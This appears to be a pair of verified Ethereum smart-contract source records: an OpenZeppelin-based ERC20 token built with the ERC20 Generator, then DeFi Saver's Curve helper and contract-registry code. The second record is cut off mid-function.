`amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-14 */ // SPDX-License-Identifier: MIT pragma solidity =0.7.6; pragma experimental ABIEncoderV2; interface ICurveStethPool { function add_liquidity(uint256[2] memory, uint256) external payable returns (uint256); function remove_liquidity(uint256, uint256[2] memory) external returns (uint256[2] memory); function remove_liquidity_imbalance(uint256[2] memory, uint256) external returns (uint256); } interface IAddressProvider { function admin() external view returns (address); function get_registry() external view returns (address); function get_address(uint256 _id) external view returns (address); } interface ISwaps { ///@notice Perform an exchange using the pool that offers the best rate ///@dev Prior to calling this function, the caller must approve /// this contract to transfer `_amount` coins from `_from` /// Does NOT check rates in factory-deployed pools ///@param _from Address of coin being sent ///@param _to Address of coin being received ///@param _amount Quantity of `_from` being sent ///@param _expected Minimum quantity of `_from` received /// in order for the transaction to succeed ///@param _receiver Address to transfer the received tokens to ///@return uint256 Amount received function exchange_with_best_rate( address _from, address _to, uint256 _amount, uint256 _expected, address _receiver ) external payable returns (uint256); ///@notice Perform an exchange using a specific pool ///@dev Prior to calling this function, the caller must approve /// this contract to transfer `_amount` coins from `_from` /// Works for both regular and factory-deployed pools ///@param _pool Address of the pool to use for the swap ///@param _from Address of coin being sent ///@param _to Address of coin being received ///@param _amount Quantity of `_from` being sent ///@param _expected Minimum quantity of `_from` received /// in order for the transaction to succeed ///@param _receiver Address to transfer the received tokens to ///@return uint256 Amount received function exchange( address _pool, address _from, address _to, uint256 _amount, uint256 _expected, address _receiver ) external payable returns (uint256); ///@notice Find the pool offering the best rate for a given swap. ///@dev Checks rates for regular and factory pools ///@param _from Address of coin being sent ///@param _to Address of coin being received ///@param _amount Quantity of `_from` being sent ///@param _exclude_pools A list of up to 8 addresses which shouldn't be returned ///@return Pool address, amount received function get_best_rate( address _from, address _to, uint256 _amount, address[8] memory _exclude_pools ) external view returns (address, uint256); ///@notice Get the current number of coins received in an exchange ///@dev Works for both regular and factory-deployed pools ///@param _pool Pool address ///@param _from Address of coin to be sent ///@param _to Address of coin to be received ///@param _amount Quantity of `_from` to be sent ///@return Quantity of `_to` to be received function get_exchange_amount( address _pool, address _from, address _to, uint256 _amount ) external view returns (uint256); ///@notice Get the current number of coins required to receive the given amount in an exchange ///@param _pool Pool address ///@param _from Address of coin to be sent ///@param _to Address of coin to be received ///@param _amount Quantity of `_to` to be received ///@return Quantity of `_from` to be sent function get_input_amount( address _pool, address _from, address _to, uint256 _amount ) external view returns (uint256); ///@notice Get the current number of coins required to receive the given amount in an exchange ///@param _pool Pool address ///@param _from Address of coin to be sent ///@param _to Address of coin to be received ///@param _amounts Quantity of `_to` to be received ///@return Quantity of `_from` to be sent function get_exchange_amounts( address _pool, address _from, address _to, uint256[] memory _amounts ) external view returns (uint256[] memory); ///@notice Set calculator contract ///@dev Used to calculate `get_dy` for a pool ///@param _pool Pool address ///@return `CurveCalc` address function get_calculator(address _pool) external view returns (address); } interface IRegistry { function get_lp_token(address) external view returns (address); function get_pool_from_lp_token(address) external view returns (address); function get_pool_name(address) external view returns(string memory); function get_coins(address) external view returns (address[8] memory); function get_underlying_coins(address) external view returns (address[8] memory); function get_decimals(address) external view returns (uint256[8] memory); function get_underlying_decimals(address) external view returns (uint256[8] memory); function get_balances(address) external view returns (uint256[8] memory); function get_underlying_balances(address) external view returns (uint256[8] memory); function get_virtual_price_from_lp_token(address) external view returns (uint256); function get_gauges(address) external view returns (address[10] memory, int128[10] memory); function pool_count() external view returns (uint256); function pool_list(uint256) external view returns (address); } interface IMinter { function mint(address _gaugeAddr) external; function mint_many(address[8] memory _gaugeAddrs) external; } interface IVotingEscrow { function create_lock(uint256 _amount, uint256 _unlockTime) external; function increase_amount(uint256 _amount) external; function increase_unlock_time(uint256 _unlockTime) external; function withdraw() external; } interface IFeeDistributor { function claim(address) external returns (uint256); } contract MainnetCurveAddresses { address internal constant CRV_TOKEN_ADDR = 0xD533a949740bb3306d119CC777fa900bA034cd52; address internal constant CRV_3CRV_TOKEN_ADDR = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; address internal constant ADDRESS_PROVIDER_ADDR = 0x0000000022D53366457F9d5E68Ec105046FC4383; address internal constant MINTER_ADDR = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; address internal constant VOTING_ESCROW_ADDR = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; address internal constant FEE_DISTRIBUTOR_ADDR = 0xA464e6DCda8AC41e03616F95f4BC98a13b8922Dc; } contract CurveHelper is MainnetCurveAddresses { IAddressProvider public constant AddressProvider = IAddressProvider(ADDRESS_PROVIDER_ADDR); IMinter public constant Minter = IMinter(MINTER_ADDR); IVotingEscrow public constant VotingEscrow = IVotingEscrow(VOTING_ESCROW_ADDR); IFeeDistributor public constant FeeDistributor = IFeeDistributor(FEE_DISTRIBUTOR_ADDR); function getSwaps() internal view returns (ISwaps) { return ISwaps(AddressProvider.get_address(2)); } function getRegistry() internal view returns (IRegistry) { return IRegistry(AddressProvider.get_registry()); } } interface IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256 digits); function totalSupply() external view returns (uint256 supply); function balanceOf(address _owner) external view returns (uint256 balance); function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom( address _from, address _to, uint256 _value ) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } abstract contract IWETH { function allowance(address, address) public virtual view returns (uint256); function balanceOf(address) public virtual view returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom( address, address, uint256 ) public virtual returns (bool); function deposit() public payable virtual; function withdraw(uint256) public virtual; } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /// @dev Edited so it always first approves 0 and then the value, because of non standard tokens function safeApprove( IERC20 token, address spender, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance) ); } function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library TokenUtils { using SafeERC20 for IERC20; address public constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; function approveToken( address _tokenAddr, address _to, uint256 _amount ) internal { if (_tokenAddr == ETH_ADDR) return; if (IERC20(_tokenAddr).allowance(address(this), _to) < _amount) { IERC20(_tokenAddr).safeApprove(_to, _amount); } } function pullTokensIfNeeded( address _token, address _from, uint256 _amount ) internal returns (uint256) { // handle max uint amount if (_amount == type(uint256).max) { _amount = getBalance(_token, _from); } if (_from != address(0) && _from != address(this) && _token != ETH_ADDR && _amount != 0) { IERC20(_token).safeTransferFrom(_from, address(this), _amount); } return _amount; } function withdrawTokens( address _token, address _to, uint256 _amount ) internal returns (uint256) { if (_amount == type(uint256).max) { _amount = getBalance(_token, address(this)); } if (_to != address(0) && _to != address(this) && _amount != 0) { if (_token != ETH_ADDR) { IERC20(_token).safeTransfer(_to, _amount); } else { (bool success, ) = _to.call{value: _amount}(""); require(success, "Eth send fail"); } } return _amount; } function depositWeth(uint256 _amount) internal { IWETH(WETH_ADDR).deposit{value: _amount}(); } function withdrawWeth(uint256 _amount) internal { IWETH(WETH_ADDR).withdraw(_amount); } function getBalance(address _tokenAddr, address _acc) internal view returns (uint256) { if (_tokenAddr == ETH_ADDR) { return _acc.balance; } else { return IERC20(_tokenAddr).balanceOf(_acc); } } function getTokenDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return IERC20(_token).decimals(); } } abstract contract IDFSRegistry { function getAddr(bytes32 _id) public view virtual returns (address); function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public virtual; function startContractChange(bytes32 _id, address _newContractAddr) public virtual; function approveContractChange(bytes32 _id) public virtual; function cancelContractChange(bytes32 _id) public virtual; function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual; } contract MainnetAuthAddresses { address internal constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD; address internal constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; address internal constant ADMIN_ADDR = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9; // USED IN ADMIN VAULT CONSTRUCTOR } contract AuthHelper is MainnetAuthAddresses { } contract AdminVault is AuthHelper { address public owner; address public admin; constructor() { owner = msg.sender; admin = ADMIN_ADDR; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function changeOwner(address _owner) public { require(admin == msg.sender, "msg.sender not admin"); owner = _owner; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function changeAdmin(address _admin) public { require(admin == msg.sender, "msg.sender not admin"); admin = _admin; } } contract AdminAuth is AuthHelper { using SafeERC20 for IERC20; AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR); modifier onlyOwner() { require(adminVault.owner() == msg.sender, "msg.sender not owner"); _; } modifier onlyAdmin() { require(adminVault.admin() == msg.sender, "msg.sender not admin"); _; } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(_receiver).transfer(_amount); } else { IERC20(_token).safeTransfer(_receiver, _amount); } } /// @notice Destroy the contract function kill() public onlyAdmin { selfdestruct(payable(msg.sender)); } } contract DefisaverLogger { event LogEvent( address indexed contractAddress, address indexed caller, string indexed logName, bytes data ); // solhint-disable-next-line func-name-mixedcase function Log( address _contract, address _caller, string memory _logName, bytes memory _data ) public { emit LogEvent(_contract, _caller, _logName, _data); } } contract MainnetCoreAddresses { address internal constant DEFI_SAVER_LOGGER_ADDR = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address internal constant REGISTRY_ADDR = 0xD6049E1F5F3EfF1F921f5532aF1A1632bA23929C; address internal constant PROXY_AUTH_ADDR = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF; } contract CoreHelper is MainnetCoreAddresses { } contract DFSRegistry is AdminAuth, CoreHelper { DefisaverLogger public constant logger = DefisaverLogger( DEFI_SAVER_LOGGER_ADDR ); string public constant ERR_ENTRY_ALREADY_EXISTS = "Entry id already exists"; string public constant ERR_ENTRY_NON_EXISTENT = "Entry id doesn't exists"; string public constant ERR_ENTRY_NOT_IN_CHANGE = "Entry not in change process"; string public constant ERR_WAIT_PERIOD_SHORTER = "New wait period must be bigger"; string public constant ERR_CHANGE_NOT_READY = "Change not ready yet"; string public constant ERR_EMPTY_PREV_ADDR = "Previous addr is 0"; string public constant ERR_ALREADY_IN_CONTRACT_CHANGE = "Already in contract change"; string public constant ERR_ALREADY_IN_WAIT_PERIOD_CHANGE = "Already in wait period change"; struct Entry { address contractAddr; uint256 waitPeriod; uint256 changeStartTime; bool inContractChange; bool inWaitPeriodChange; bool exists; } mapping(bytes32 => Entry) public entries; mapping(bytes32 => address) public previousAddresses; mapping(bytes32 => address) public pendingAddresses; mapping(bytes32 => uint256) public pendingWaitTimes; /// @notice Given an contract id returns the registered address /// @dev Id is keccak256 of the contract name /// @param _id Id of contract function getAddr(bytes32 _id) public view returns (address) { return entries[_id].contractAddr; } /// @notice Helper function to easily query if id is registered /// @param _id Id of contract function isRegistered(bytes32 _id) public view returns (bool) { return entries[_id].exists; } /////////////////////////// OWNER ONLY FUNCTIONS /////////////////////////// /// @notice Adds a new contract to the registry /// @param _id Id of contract /// @param _contractAddr Address of the contract /// @param _waitPeriod Amount of time to wait before a contract address can be changed function addNewContract( bytes32 _id, address _contractAddr, uint256 _waitPeriod ) public onlyOwner { require(!entries[_id].exists, ERR_ENTRY_ALREADY_EXISTS); entries[_id] = Entry({ contractAddr: _contractAddr, waitPeriod: _waitPeriod, changeStartTime: 0, inContractChange: false, inWaitPeriodChange: false, exists: true }); // Remember tha address so we can revert back to old addr if needed previousAddresses[_id] = _contractAddr; logger.Log( address(this), msg.sender, "AddNewContract", abi.encode(_id, _contractAddr, _waitPeriod) ); } /// @notice Reverts to the previous address immediately /// @dev In case the new version has a fault, a quick way to fallback to the old contract /// @param _id Id of contract function revertToPreviousAddress(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(previousAddresses[_id] != address(0), ERR_EMPTY_PREV_ADDR); address currentAddr = entries[_id].contractAddr; entries[_id].contractAddr = previousAddresses[_id]; logger.Log( address(this), msg.sender, "RevertToPreviousAddress", abi.encode(_id, currentAddr, previousAddresses[_id]) ); } /// @notice Starts an address change for an existing entry /// @dev Can override a change that is currently in progress /// @param _id Id of contract /// @param _newContractAddr Address of the new contract function startContractChange(bytes32 _id, address _newContractAddr) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(!entries[_id].inWaitPeriodChange, ERR_ALREADY_IN_WAIT_PERIOD_CHANGE); entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inContractChange = true; pendingAddresses[_id] = _newContractAddr; logger.Log( address(this), msg.sender, "StartContractChange", abi.encode(_id, entries[_id].contractAddr, _newContractAddr) ); } /// @notice Changes new contract address, correct time must have passed /// @param _id Id of contract function approveContractChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE); require( block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line ERR_CHANGE_NOT_READY ); address oldContractAddr = entries[_id].contractAddr; entries[_id].contractAddr = pendingAddresses[_id]; entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; pendingAddresses[_id] = address(0); previousAddresses[_id] = oldContractAddr; logger.Log( address(this), msg.sender, "ApproveContractChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr) ); } /// @notice Cancel pending change /// @param _id Id of contract function cancelContractChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inContractChange, ERR_ENTRY_NOT_IN_CHANGE); address oldContractAddr = pendingAddresses[_id]; pendingAddresses[_id] = address(0); entries[_id].inContractChange = false; entries[_id].changeStartTime = 0; logger.Log( address(this), msg.sender, "CancelContractChange", abi.encode(_id, oldContractAddr, entries[_id].contractAddr) ); } /// @notice Starts the change for waitPeriod /// @param _id Id of contract /// @param _newWaitPeriod New wait time function startWaitPeriodChange(bytes32 _id, uint256 _newWaitPeriod) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(!entries[_id].inContractChange, ERR_ALREADY_IN_CONTRACT_CHANGE); pendingWaitTimes[_id] = _newWaitPeriod; entries[_id].changeStartTime = block.timestamp; // solhint-disable-line entries[_id].inWaitPeriodChange = true; logger.Log( address(this), msg.sender, "StartWaitPeriodChange", abi.encode(_id, _newWaitPeriod) ); } /// @notice Changes new wait period, correct time must have passed /// @param _id Id of contract function approveWaitPeriodChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, ERR_ENTRY_NON_EXISTENT); require(entries[_id].inWaitPeriodChange, ERR_ENTRY_NOT_IN_CHANGE); require( block.timestamp >= (entries[_id].changeStartTime + entries[_id].waitPeriod), // solhint-disable-line ERR_CHANGE_NOT_READY ); uint256 oldWaitTime = entries[_id].waitPeriod; entries[_id].waitPeriod = pendingWaitTimes[_id]; entries[_id].inWaitPeriodChange = false; entries[_id].changeStartTime = 0; pendingWaitTimes[_id] = 0; logger.Log( address(this), msg.sender, "ApproveWaitPeriodChange", abi.encode(_id, oldWaitTime, entries[_id].waitPeriod) ); } /// @notice Cancel wait period change /// @param _id Id of contract function cancelWaitPeriodChange(bytes32 _id) public onlyOwner { require(entries[_id].exists, 